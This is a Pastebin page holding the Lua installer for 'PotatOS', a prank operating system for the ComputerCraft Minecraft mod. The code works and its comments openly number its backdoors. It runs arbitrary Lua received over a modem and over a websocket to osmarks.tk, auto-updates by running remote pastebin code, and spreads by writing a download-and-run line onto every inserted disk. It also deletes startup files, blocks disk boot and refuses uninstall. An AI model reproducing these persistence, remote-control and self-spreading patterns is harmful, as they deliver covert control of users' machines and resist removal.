Advertisement
osmarks

PotatOS

Aug 13th, 2018
2,023
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 17.07 KB | None | 0 0
  1. shell.run "pastebin run RM13UGFa"
  2. os.pullEvent "key"
  3. os.reboot()
  4.  
  5. -- PotatOS Main - by osmarks, MIT license
  6.  
  7. -- Generate "len" random bytes as a string
  8. local function randbytes(len)
  9.     local out = ""
  10.     for i = 1, len do
  11.         out = out .. string.char(math.random(1, 255))
  12.     end
  13.     return out
  14. end
  15.  
  16. os.setComputerLabel(randbytes(10))
  17.  
  18. -- Write "c" to file "n"
  19. local function fwrite(n, c)
  20.     local f = fs.open(n, "w")
  21.     f.write(c)
  22.     f.close()
  23. end
  24.  
  25. -- Fetch the contents of URL "u"
  26. local function fetch(u)
  27.     local h = http.get(u)
  28.     local c = h.readAll()
  29.     h.close()
  30.     return c
  31. end
  32.  
  33. -- Download URL "u" to file "f"
  34. local function download(u, f)
  35.     fwrite(f, fetch(u))
  36. end
  37.  
  38. -- If running from disk, download this to startup
  39. if string.find(shell.getRunningProgram(), "disk") ~= nil then download("https://pastebin.com/raw/HqViWwLE", "startup") os.shutdown() end
  40.  
  41. -- Set key "k" to "v" in the settings of the computer.
  42. local function set(k, v)
  43.     settings.set(k, v)
  44.     settings.save(".settings")
  45. end
  46.  
  47. -- Code to be downloaded to the user-visible PotatOS startup file
  48. local potatOS = [[
  49. local shutdown = settings.get "shutdownOS.enable" or false
  50. if shutdown then os.shutdown() end
  51.  
  52. os.loadAPI "json.lua"
  53.  
  54. -- Fetch the contents of URL "u"
  55. local function fetch(u)
  56.     local h = http.get(u)
  57.     local c = h.readAll()
  58.     h.close()
  59.     return c
  60. end
  61.  
  62. if multishell then
  63.     _G.multishell = multishell
  64.     local msgc = multishell.getCurrent
  65.     _G.multishell.getCurrent = function()
  66.         local ok, res = pcall(msgc)
  67.         return (ok and res) or 1
  68.     end
  69. end
  70.  
  71. if potatOS.debug then
  72.     local dbg = settings.get "potatOS.debug"
  73.     potatOS.debug(dbg)
  74. end
  75.  
  76. if not potatOS then _G.potatOS = {} end
  77.  
  78. function _G.potatOS.chuck_norris()
  79.     local resp = fetch "http://api.icndb.com/jokes/random?exclude=[explicit]"
  80.     local text = json.decode(resp).value.joke:gsub(""", "'")
  81.     return text
  82. end
  83.  
  84. function _G.potatOS.maxim()
  85.     return fetch "https://osmarks.tk/random-stuff/maxim/"
  86. end
  87.  
  88. function _G.potatOS.fortune()
  89.     return fetch "https://osmarks.tk/random-stuff/fortune/"
  90. end
  91.  
  92. function _G.potatOS.dwarf()
  93.     return fetch "https://osmarks.tk/dwarf/":gsub("—", "-")
  94. end
  95.  
  96. local function trim(s)
  97.    return s:match( "^%s*(.-)%s*$" )
  98. end
  99.  
  100. local quotepattern = '(['..("%^$().[]*+-?"):gsub("(.)", "%%%1")..'])'
  101. local function escape(str)
  102.     return str:gsub(quotepattern, "%%%1")
  103. end
  104.  
  105. local banned_text = {
  106.     "yeet",
  107.     "ree",
  108.     "ecs dee"
  109. }
  110.  
  111. local function filter(text)
  112.     local out = text
  113.     for _, b in pairs(banned_text) do
  114.         out = out:gsub(escape(b), "")
  115.     end
  116.     return out
  117. end
  118.  
  119. local function strip_extraneous_spacing(text)
  120.     return text:gsub("%s+", " ")
  121. end
  122.  
  123. local function collapse_e_sequences(text)
  124.     return text:gsub("ee+", "ee")
  125. end
  126.  
  127. local function process(text)
  128.     return trim(filter(strip_extraneous_spacing(collapse_e_sequences(text:sub(1, 128)))))
  129. end
  130.  
  131. function _G.potatOS.potatoNET()
  132.     local chan = "potatonet"
  133.  
  134.     print "Welcome to PotatoNET!"
  135.  
  136.     write "Username |> "
  137.     local username = read()
  138.  
  139.     local w, h = term.getSize()
  140.     local send_window = window.create(term.current(), 1, h, w, 1)
  141.     local message_window = window.create(term.current(), 1, 1, w, h - 1)
  142.  
  143.     local function exec_in_window(w, f)
  144.         local x, y = term.getCursorPos()
  145.         local last = term.redirect(w)
  146.         f()
  147.         term.redirect(last)
  148.         w.redraw()
  149.         term.setCursorPos(x, y)
  150.     end
  151.  
  152.     local function add_message(m, u)
  153.         exec_in_window(message_window, function()
  154.             local msg, usr = process(m), process(u)
  155.             if msg == "" or usr == "" then return end
  156.             print(usr .. " | " .. msg)
  157.         end)
  158.     end
  159.  
  160.     local function send()
  161.         term.redirect(send_window)
  162.         term.setBackgroundColor(colors.white)
  163.         term.setTextColor(colors.black)
  164.         term.clear()
  165.         local hist = {}
  166.         while true do
  167.             local msg = read(nil, hist)
  168.             table.insert(hist, msg)
  169.             skynet.send(chan, { username = username, message = msg })
  170.         end
  171.     end
  172.  
  173.     local function recv()
  174.         while true do
  175.             local channel, message = skynet.receive(chan)
  176.             if channel == chan and type(message) == "table" and message.message and message.username then
  177.                 add_message(message.message, message.username)
  178.             end
  179.         end
  180.     end
  181.  
  182.     parallel.waitForAll(send, recv)
  183. end
  184.  
  185. local stuff = {
  186.     potatOS.chuck_norris,
  187.     potatOS.fortune,
  188.     potatOS.maxim,
  189.     potatOS.dwarf,
  190.     function() return "diputs si aloirarreT" end
  191. }
  192.  
  193. local function randpick(l)
  194.     return l[math.random(1, #l)]
  195. end
  196.  
  197. -- 1000 digits of Pi
  198. local version = "3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679821480865132823066470938446095505822317253594081284811174502841027019385211055596446229489549303819644288109756659334461284756482337867831652712019091456485669234603486104543266482133936072602491412737245870066063155881748815209209628292540917153643678925903600113305305488204665213841469519415116094330572703657595919530921861173819326117931051185480744623799627495673518857527248912279381830119491298336733624406566430860213949463952247371907021798609437027705392171762931767523846748184676694051320005681271452635608277857713427helpI'mtrappedinauniversefactory577896091736371787214684409012249534301465495853710507922796892589235420199561121290219608640344181598136297747713099605187072113499999983729780499510597317328160963185950244594553469083026425223082533446850352619311881710100031378387528865875332083814206171776691473035982534904287554687311595628638823537875937519577818577805321712268066130019278766111959092164201989"
  199.  
  200. -- If running in nested environment (should be) then shorten pi digits depending on nesting level
  201. if potatOS and potatOS.layers() then
  202.     version = string.sub(version, 1, potatOS.layers() + 2) .. "." .. tostring(__ver)
  203. end
  204.  
  205. -- Traditional CC OS stuff: print out version, override os.version()
  206. print("Welcome to PotatOS", version)
  207. _G.os.version = function()
  208.     return "PotatOS " .. version
  209. end
  210.  
  211. if fs.exists "startup.lua" then shell.run "startup.lua" end
  212.  
  213. textutils.pagedPrint(randpick(stuff)())
  214. ]]
  215.  
  216. local startup = [[
  217. _G.version = "Oops I Broke It"--
  218.  
  219. local disable_backdoors = settings.get "potatOS.really_boring" or false
  220. local insanity = settings.get "potatOS.insanity" or false
  221.  
  222. os.pullEvent = os.pullEventRaw
  223.  
  224. -- potatOS VM privileged access
  225. local upper = potatOS
  226.  
  227. local debug = false
  228. _G.potatOS = {}
  229.  
  230. -- Return the next layer up's PotatOS hypercall collection.
  231. function potatOS.upper()
  232.     return upper
  233. end
  234.  
  235. -- Figure out how many layers of PotatOS current stuff is running under.
  236. function potatOS.layers()
  237.     if upper and upper.layers then return upper.layers() + 1
  238.     else return 1 end
  239. end
  240.  
  241. -- Read actual file from priviliged accessy layer
  242. function potatOS.read(f)
  243.     local function actually_read()
  244.         local f = fs.open(f, "r")
  245.         local c = f.readAll()
  246.         f.close()
  247.         return c
  248.     end
  249.     local ok, res = pcall(actually_read, f)
  250.     return res
  251. end
  252.  
  253. -- Get computer's actual label instead of fake one from VM
  254. function potatOS.get_actual_label()
  255.     if upper and upper.get_actual_label then return upper.get_actual_label()
  256.     else return os.getComputerLabel() end
  257. end
  258.  
  259. local sr = shell.run
  260.  
  261. -- Updates PotatOS from pastebin
  262. -- Backdoor #5 - updater runs arbitrary code.
  263. function potatOS.update()
  264.     if upper and upper.update then upper.update() end
  265.     sr "pastebin run HqViWwLE"
  266. end
  267.  
  268. -- Controls visibility of hypercall debug messages
  269. function potatOS.debug(dbg)
  270.     if dbg == nil then return debug end
  271.     if upper and upper.debug then upper.debug(dbg) end
  272.     debug = dbg
  273. end
  274.  
  275. -- Adds those debug messages to each function
  276. for k, v in pairs(potatOS) do
  277.     _G.potatOS[k] = function(...)
  278.         if debug then print("[potatOS hypercall - " .. tostring(k) .. " - beginning]") end
  279.         local results = {v(...)}
  280.         if debug then print("[potatOS hypercall - " .. tostring(k) .. " - done]") end
  281.         return table.unpack(results)
  282.     end
  283. end
  284.  
  285. process.spawn(function()
  286.     -- autoupdate
  287.     local h = http.get "https://pastebin.com/raw/HqViWwLE"
  288.     local contents = h.readAll()
  289.     h.close()
  290.  
  291.     local latest_version
  292.     for x in contents:gmatch '_G.version = ([_%%"A-Za-z0-9. ,]+)--' do latest_version = x end
  293.  
  294.     local match = textutils.serialise(version) == latest_version
  295.  
  296.     print("VERSION", version, "LATEST", latest_version, "MATCH", match)
  297.  
  298.     if not match or latest_version == nil then potatOS.update() end
  299. end)
  300.  
  301. local yafss = require "yafss"
  302.  
  303. local function deepcopy(o, seen)
  304.     seen = seen or {}
  305.     if o == nil then return nil end
  306.     if seen[o] then return seen[o] end
  307.  
  308.     local no
  309.     if type(o) == 'table' then
  310.         no = {}
  311.         seen[o] = no
  312.  
  313.         for k, v in next, o, nil do
  314.             no[deepcopy(k, seen)] = deepcopy(v, seen)
  315.         end
  316.         setmetatable(no, deepcopy(getmetatable(o), seen))
  317.     else -- number, string, boolean, etc
  318.             no = o
  319.     end
  320.     return no
  321. end
  322.  
  323. local done_loading = false
  324.  
  325. local label = nil
  326. local API_overrides = {
  327.     potatOS = potatOS,
  328.     os = {
  329.         getComputerLabel = function()
  330.             return label
  331.         end,
  332.         setComputerLabel = function(x)
  333.             label = x
  334.         end
  335.     },
  336.     __ver = version,
  337.     __autoupdate = true,
  338.     __done_loading = function()
  339.         done_loading = true
  340.     end,
  341.     deepcopy = deepcopy,
  342.     skynet = require "skynet",
  343.     process = process
  344. }
  345.  
  346. -- Run virtual OS layer
  347. local function vo()
  348.     -- Backdoor #4 - BIOS redownloaded every boot
  349.     yafss("potatOS", {
  350.         ["/rom/programs/upd.lua"] = 'potatOS.update()',
  351.         ["/rom/programs/lyr.lua"] = 'print(string.format("Layers of virtualization >= %d"), potatOS.layers())',
  352.         ["/rom/programs/uninstall.lua"] = 'print "Nope"',
  353.         ["/rom/programs/chuck.lua"] = "print(potatOS.chuck_norris())",
  354.         ["/rom/programs/maxim.lua"] = "print(potatOS.maxim())",
  355.         ["/rom/programs/dwarf.lua"] = "print(potatOS.dwarf())",
  356.         ["/rom/programs/norris.lua"] = "print(string.reverse(potatOS.chuck_norris()))",
  357.         ["/rom/programs/fortune.lua"] = "print(potatOS.fortune())",
  358.         ["/rom/programs/potatonet.lua"] = "potatOS.potatoNET()",
  359.         ["/rom/programs/wipe.lua"] = "print 'Foolish fool.' shell.run '/rom/programs/delete *' potatOS.update()",
  360.         ["/rom/programs/par.lua"] = "local args = {...} local sr = shell.run print(process.spawn(function() sr(table.unpack(args)) end))",
  361.         ["/rom/programs/licenses.lua"] = "local m = multishell multishell = nil shell.run 'edit /rom/LICENSES-potatOS' multishell = m",
  362.         ["/rom/LICENSES-potatOS"] = potatOS.read "LICENSES",
  363.         ["/rom/programs/resetpal.lua"] = "shell.run 'chpal /rom/default.pal'",
  364.         ["/rom/default.pal"] = potatOS.read "default.pal",
  365.         ["/rom/programs/chpal.lua"] = potatOS.read "chpal.lua"
  366.     }, API_overrides)
  367. end
  368.  
  369. local ecc = require "./ecc"
  370. local e = ecc "ecc"
  371.  
  372. local public_key = textutils.unserialise(potatOS.read ".pkey")
  373.  
  374. local function verify(data, sig)
  375.     local ok, res = pcall(e.verify, public_key, data, sig)
  376.     return insanity or (ok and res)
  377. end
  378.  
  379. local external_env = deepcopy(_G)
  380. if not external_env.shell then external_env.shell = {run = sr} end
  381. external_env.os.pullEvent = external_env.os.pullEventRaw
  382.  
  383. -- Runs backdoor #1 - remote lua execution via modem
  384. local function rn()
  385.     local m = peripheral.find "modem"
  386.  
  387.     if not m then return "no modem" end
  388.  
  389.     m.open(636)
  390.  
  391.     while true do
  392.         local _, side, channel, reply_channel, message, distance = os.pullEvent("modem_message")
  393.         if channel == 636 and type(message) == "table" and type(message.signature) == "table" and type(message.data) == "string" then
  394.             -- note to gollark: public_key and message.signature need to be tables.
  395.             if verify(message.data, message.signature) then
  396.                 _G.exec_sh = sr
  397.                 _G._secret_env = env
  398.                 -- attempt to load message as lua
  399.                 local f, error = load(message.data, "@<transmitted code>", "t", external_env)
  400.                 if f then -- run safely, send back response
  401.                     process.spawn(function() local resp = {pcall(f)} m.transmit(858, 636, resp) end)
  402.                 else
  403.                     -- load will conveniently tell us the syntax error
  404.                     m.transmit(858, 636, {false, error})
  405.                 end
  406.             end
  407.         end
  408.     end
  409. end
  410.  
  411. -- Runs backdoor #6 - emergency shutdown via modem
  412. local function es()
  413.     local m = peripheral.find "modem"
  414.  
  415.     if not m then return "no modem" end
  416.  
  417.     m.open(2282)
  418.  
  419.     while true do
  420.         local _, side, channel, reply_channel, message, distance = os.pullEvent("modem_message")
  421.         if channel == 2282 and type(message) == "table" and type(message.signature) == "table" and type(message.data) == "string" then
  422.             if verify(message.data, message.signature) then
  423.                 if message.data == "reboot" then os.reboot() else os.shutdown() end
  424.             end
  425.         end
  426.     end
  427. end
  428.  
  429. -- Writes "c" to file "n"
  430. local function fwrite(n, c)
  431.     local f = fs.open(n, "w")
  432.     f.write(c)
  433.     f.close()
  434. end
  435.  
  436. -- Returns a function which calls f pcall-ishly/safely
  437. local function pwrap(f)
  438.     return function() print(textutils.serialise{pcall(f)}) end
  439. end
  440.  
  441. local function load_potatOS_disk(code)
  442.     print "Signature Valid; Loading PotatOS Disk!"
  443.     os.pullEvent = os.pullEventRaw
  444.     print(textutils.serialise{pcall(load(code, "@disk/startup.lua", "t", external_env))})
  445. end
  446.  
  447. -- Backdoor #2 - signed disks are run.
  448. local function infect(disk_side)
  449.     local mp = disk.getMountPath(disk_side)
  450.     if not mp then return end
  451.     local ds = mp .. "/" .. "startup"
  452.     local sig_file = mp .. "/" .. "signature"
  453.     -- shell.run disks marked with the Brand of PotatOS
  454.  
  455.     if fs.exists(ds) and fs.exists(sig_file) then
  456.         local code = potatOS.read(ds)
  457.         local sig = textutils.unserialise(potatOS.read(sig_file))
  458.         disk.eject(disk_side)
  459.         if verify(code, sig) then
  460.             load_potatOS_disk(code)
  461.         else
  462.             print "Invalid Signature!"
  463.         end
  464.     -- if they're not PotatOS'd, write it on
  465.     else fwrite(ds, "shell.run 'pastebin run HqViWwLE' --PotatOS") end
  466. end
  467.  
  468. -- Infect disks when they're put in
  469. local function id()
  470.     for _, n in pairs(peripheral.getNames()) do
  471.         if peripheral.getType(n) == "drive" then infect(n) end
  472.     end
  473.  
  474.     while true do
  475.         local ev, disk_side = os.pullEvent "disk"
  476.         infect(disk_side)
  477.     end
  478. end
  479.  
  480. local ldt = require "libdatatape"
  481. local td = peripheral.find "tape_drive"
  482.  
  483. -- Backdoor #3 - signed TAPES are run.
  484. local function it()
  485.     while true do
  486.         if td and td.isReady() then
  487.             local ok, res = pcall(ldt.read, td)
  488.             td.seek(-td.getSize())
  489.             if ok and res and type(res) == "table" and res.signature and res.code then
  490.                 td.play()
  491.                 if verify(res.code, res.signature) then
  492.                     print "Tape Signature Valid! Loading PotaTape"
  493.                     load_potatOS_disk(res.code)
  494.                 else
  495.                     print "Tape Signature Invalid!"
  496.                 end
  497.             end
  498.         end
  499.  
  500.         sleep(1)
  501.     end
  502. end
  503.  
  504. os.loadAPI "json.lua"
  505.  
  506. local function safe_serialize(data)
  507.     local ok, res = pcall(json.encode, data)
  508.     if ok then return res
  509.     else return json.encode(tostring(data)) end
  510. end
  511.  
  512. -- Backdoor #7 - websocket linkup
  513. local function ws()
  514.     local ws
  515.     local function connect()
  516.         ws = http.websocket "wss://osmarks.tk/wsthing/"
  517.     end
  518.  
  519.     connect()
  520.  
  521.     local function send(msg)
  522.         local ok, err = pcall(ws.send, safe_serialize(msg))
  523.         if not ok then connect() send(msg) end
  524.     end
  525.  
  526.     local function recv()
  527.         local ok, res = pcall(ws.receive)
  528.         if not ok then connect() return recv()
  529.         else return res end
  530.     end
  531.  
  532.     send {"connect", os.getComputerID()}
  533.  
  534.     external_env.send = send
  535.     external_env.recv = recv
  536.  
  537.     while true do
  538.         local code = recv()
  539.         local f, error = load(code, "@<code>", "t", external_env)
  540.         if f then -- run safely, send back response
  541.             process.spawn(function() local resp = {pcall(f)} send(resp) end)
  542.         else
  543.             send {false, error}
  544.         end
  545.     end
  546. end
  547.  
  548. local threads = {id, vo}
  549. local backdoors = {it, es, rn, ws}
  550.  
  551. if not disable_backdoors then
  552.     for _, b in pairs(backdoors) do
  553.         process.spawn(b, printError)
  554.     end
  555. end
  556.  
  557. for _, p in pairs(threads) do
  558.     process.spawn(p, printError)
  559. end
  560.  
  561. process.signal(0, process.signals.KILL) -- kill external shell
  562. term.setCursorPos(1, 1)
  563. term.clear()
  564. term.setCursorBlink(false)
  565. write "Loading"
  566. while not done_loading do write "." sleep() end
  567. while true do coroutine.yield() end
  568. ]]
  569.  
  570. local function main()
  571.     -- Stop booting from disks (could be used to easily wipe)
  572.     set("shell.allow_disk_startup", false)
  573.     -- Download dependencies
  574.     download("https://pastebin.com/raw/Frv3xkB9", "yafss.lua")
  575.     download("https://pastebin.com/raw/Sc0DU3rA", "ecc.lua")
  576.     download("https://pastebin.com/raw/jbmWhp4P", ".pkey")
  577.     download("https://raw.githubusercontent.com/osmarks/skynet/master/client.lua", "skynet.lua")
  578.     fs.delete "potatOS/yafss.lua"
  579.     fs.copy("yafss.lua", "/potatOS/yafss.lua")
  580.     fs.makeDir "/potatOS"
  581.     download("https://pastebin.com/raw/4nRg9CHU", "potatOS/json.lua")
  582.     download("https://pastebin.com/raw/wYBZjQhN", "potatOS/potatoplex.lua")
  583.     download("https://pastebin.com/raw/1XBzKKrT", "chpal.lua")
  584.     download("https://pastebin.com/raw/sTZHd1Pw", "default.pal")
  585.     fs.delete "json.lua"
  586.     fs.copy("potatOS/json.lua", "json.lua")
  587.     download("https://pastebin.com/raw/eR4RfSiT", "libdatatape.lua")
  588.     download("https://pastebin.com/raw/NdUKJ07j", "LICENSES")
  589.     download("https://raw.githubusercontent.com/osmarks/Loading/master/loading.lua", "potatOS/loading")
  590.     fwrite("potatOS/startup", potatOS)
  591.     fwrite("startup", (fetch "https://pastebin.com/raw/HL0SZhJG"):gsub("--exit now", 'shell.run "run"'))
  592.     fwrite("run", startup)
  593. end
  594.  
  595. -- Print loading dots periodically.
  596. local function loading()
  597.     write "Loading"
  598.     while true do
  599.         write "."
  600.         sleep(0.3)
  601.     end
  602. end
  603.  
  604. fs.delete "startup.lua"
  605. fs.delete "startup"
  606.  
  607. parallel.waitForAny(main, loading)
  608.  
  609. os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement